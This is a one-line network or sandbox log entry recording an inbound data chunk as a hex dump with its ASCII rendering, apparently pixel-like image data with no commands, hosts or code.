2024-05-01 17:05:05 UTC	2494	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 3e de 08 35 22 d9 b2 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 2c 17 d7 fc 4f 3e dd 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 44 de 6c 2b 17 d7 fc 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 27 12 d6 ff 3d 2a da 92 72 65 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 97 8d eb 16 32 1e d8 da 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 26 11 d6 ff 2d 19 d7 be 76 69 e5 26 00 00 00 00 00 Data Ascii: O>5"&&&,O>TDl+&&&'=re2&&&&-vi&